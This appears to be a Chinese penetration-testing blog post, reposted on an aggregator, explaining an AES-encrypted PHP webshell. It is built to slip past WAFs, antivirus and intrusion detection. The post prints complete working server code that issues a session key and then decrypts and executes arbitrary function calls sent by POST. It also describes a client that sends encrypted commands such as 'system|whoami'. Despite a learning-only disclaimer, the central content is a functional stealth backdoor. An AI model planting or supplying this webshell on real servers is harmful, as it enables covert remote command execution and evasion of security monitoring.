二进制加密PHP Webshell原理及简单实现

这篇具有很好参考价值的文章主要介绍了二进制加密PHP Webshell原理及简单实现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

今天继续给大家介绍渗透测试相关知识,本文主要内容是二进制加密PHP Webshell原理及简单实现。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、二进制加密PHP Webshell原理

为了躲避WAF、杀软以及入侵检测系统的查杀,各种webshell都采用了各种各样的方式进行变形、加密。为了绕过这些检测对Webshell访问流量和访问结果返回流量的检测,一种常用的方式是加密。加密访问过程如下图所示:
二进制加密PHP Webshell原理及简单实现
从上图中可以看出,客户端与服务器的通信分为两部分,第一部分是客户端访问服务器,使得服务器产生密钥,密钥在写入session的同时,并、将密钥发送给客户端。之后,客户端使用从服务器端获取的密钥,对payload进行加密,然后发送给服务端,服务端再对payload进行解密,执行后再将结果加密后返回客户端。

二、二进制加密PHP Webshell服务端实现

根据上述思路,我们可以写PHP类型的Webshell如下所示:

<?php
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?>

在上述代码中,一共分为两部分,根据是否以GET的方式上传pass参数,决定了服务端功能是生成密钥还是执行指令。如果客户端以GET的方式上传了pass参数,则会进入上述代码中的if分支语句。在该分支语句中,rand()函数可以产生随机整数,uniqid()函数可以产生一个随机的ID,md5()函数可以对产生的ID计算其MD5码,然后substr()函数可以截取生成的MD5码的后16位。
这一部分功能测试如下:
二进制加密PHP Webshell原理及简单实现
在第二部分,即如果客户端没有以GET的方式上传pass参数,则首先从服务器端提取密钥参数,然后从客户端获取指令,并执行。file_get_contents()函数可以读取一个文件,并返回文件中的字符串。但是在上述代码中,file_get_contents()函数的参数是“php://input”,这就意味着该函数不是从文件中读取数据,而是从协议流(从文件中读取本质上也是一种协议流)中读取数据,我们可以以POST的方式提交数据,并被该函数接收。openssl_decrypt()函数的作用是解密数据,在该函数中有三个参数,分别是要解密的字符串,解密方式和解密密钥。其中要解密的字符串是file_get_content()函数通过客户端POST方式提交的数据,加密方式为AES128,加密密钥key是从服务器session中提取的密钥数据。explode()函数可以根据分隔符,将指定的字符串分隔成多个字符串数组。在上述代码中分隔符是“|”,而分隔字符串是通过AES128解密算法解密出的字符串。之后,我们将分隔出的字符串数组的第一个元素赋值给变量$func,第二个变量赋值给$params。然后执行 f u n c ( func( func(params);。

三、二进制加密PHP Webshell客户端实现

我们可以根据上述代码实现PHP Webshell的客户端,实现思路如下所示:
首先携带pass参数访问该URL,获取存储在服务器session中的密钥信息,然后我们将要执行的命令和参数,以|为间隔生成字符串。例如,要使得服务器端执行代码:system(whoami),那么就需要构造字符串system|whoami。将其使用指定的key进行AES128加密算法加密以后,不携带pass参数,以POST的方式上传,然后服务端就会执行该命令,并且将命令执行结果反馈到客户端了。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200文章来源地址https://www.toymoban.com/news/detail-406341.html

到了这里,关于二进制加密PHP Webshell原理及简单实现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • LeetCode_字符串_简单_67.二进制求和

    给你两个二进制字符串 a 和 b,以二进制字符串的形式返回它们的和。 示例 1: 输入:a = “11”, b = “1” 输出:“100” 示例 2: 输入:a = “1010”, b = “1011” 输出:“10101” 提示: 1 = a.length, b.length = 10 4 a 和 b 仅由字符 ‘0’ 或 ‘1’ 组成 字符串如果不是 “0” ,就不含前

    2024年02月09日
    浏览(44)
  • [ARM汇编]计算机原理与数制基础—1.1.2 二进制与十进制数制转换

    在计算机中,我们通常使用二进制数制来表示数据,因为计算机的基本电平只有两种状态:高电平(通常表示为 1)和低电平(通常表示为 0)。而在我们的日常生活中,我们习惯使用十进制数制。为了方便理解,我们需要掌握二进制与十进制之间的转换方法。 二进制转十进

    2024年02月08日
    浏览(51)
  • 后端返回二进制流,前端处理二进制文件流,实现预览图片以及PDF

    1、首先预览PDF需要 后端 将响应头 Content-Type 设置为PDF类型 application/pdf ,不能预览,会直接下载 2、 前端 定义接口:并设置相应类型 responseType 为 blob 请求数据:通过 window.URL.createObjectURL(res) 转成本地预览地址, 在通过 window.open() 方法打开转成本地预览地址即可预览PDF,如下

    2024年02月15日
    浏览(57)
  • [ARM汇编]计算机原理与数制基础—1.1.3 二进制补码

    在计算机中,为了表示有符号整数(即正数和负数),通常采用二进制补码表示法。二进制补码不仅可以表示负数,还能简化计算机的加法和减法运算。接下来,我们将介绍二进制补码的概念及其计算方法。 原码、反码和补码 在讨论补码之前,我们先了解一下原码和反码的

    2024年02月08日
    浏览(53)
  • [FPGA]用Verilog写一个简单三位二进制加法器和减法器

    加法器和减法器是数字电路中的基本组件,它们可以对二进制数进行算术运算。加法器可以将两个或多个二进制数相加,得到一个和和一个进位。减法器可以将两个二进制数相减,得到一个差和一个借位。加法器和减法器可以用来实现更高级的运算,例如乘法、除法、移位等

    2024年02月04日
    浏览(44)
  • FPGA实现二进制转BCD码

    bcd码:以4bit二进制码表示一个十进制码 例如,432(d) = 0100-0011-0010(bcd) 这里具体的判断方法为:(满5)加3法 二进制位宽为W,则BCD位宽只需要(W + (W - 4) / 3+1)位 FPGA Verilog实现二进制转BCD码 二进制数转换成BCD码的Verilog实现 modelsim仿真验证 至此,结束

    2024年02月13日
    浏览(59)
  • Python读取二进制文件:深入解析与技术实现

    目录 一、引言 二、二进制文件的基础 1、二进制文件的组成 2、二进制文件的编码 三、Python读取二进制文件的方法 1、使用内置函数open() 2、使用numpy库 四、处理读取的二进制数据 1、解析数据 2. 转换数据类型 五、总结与展望 1、高效读取二进制文件 2、处理复杂的二进制文件

    2024年02月04日
    浏览(41)
  • 【FPGA】Verilog:二进制并行加法器 | 超前进位 | 实现 4 位二进制并行加法器和减法器 | MSI/LSI 运算电路

    0x00 并行加法器和减法器 如果我们要对 4 位加法器和减法器进行关于二进制并行运算功能,可以通过将加法器和减法器以 N 个并行连接的方式,创建一个执行 N 位加法和减法运算的电路。 4 位二进制并行加法器 4 位二进制并行减法器

    2024年02月05日
    浏览(57)
  • 数据结构:使用顺序栈的基本操作,实现十进制转为二进制,十六进制的转换

    使用系统环境: 1:win10,使用工具dev 2:使用系统win10 3:参考书籍数据结构(C语言版——严蔚敏 吴伟民) ( 注意:此文章默认,学习者拥有一定的数据机构栈,C语言的知识,书籍第20页,2.1算法的代码进行一个简化。)

    2024年02月05日
    浏览(66)
  • verilog实现二进制转BCD码-加3移位法

    BCD码用4位二进制数表示一个十进制数,最常用的BCD码是8421码,用4’b0000-4’b1001表示十进制数字0-9,接下来默认BCD码就是8421码。 在FPGA中使用数码管时,段选信号不好记,所以我们用BCD码表示一个数码管的数值,将BCD码转化为段选信号驱动数码管,数码管驱动可以这篇文章:

    2024年02月06日
    浏览(59)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包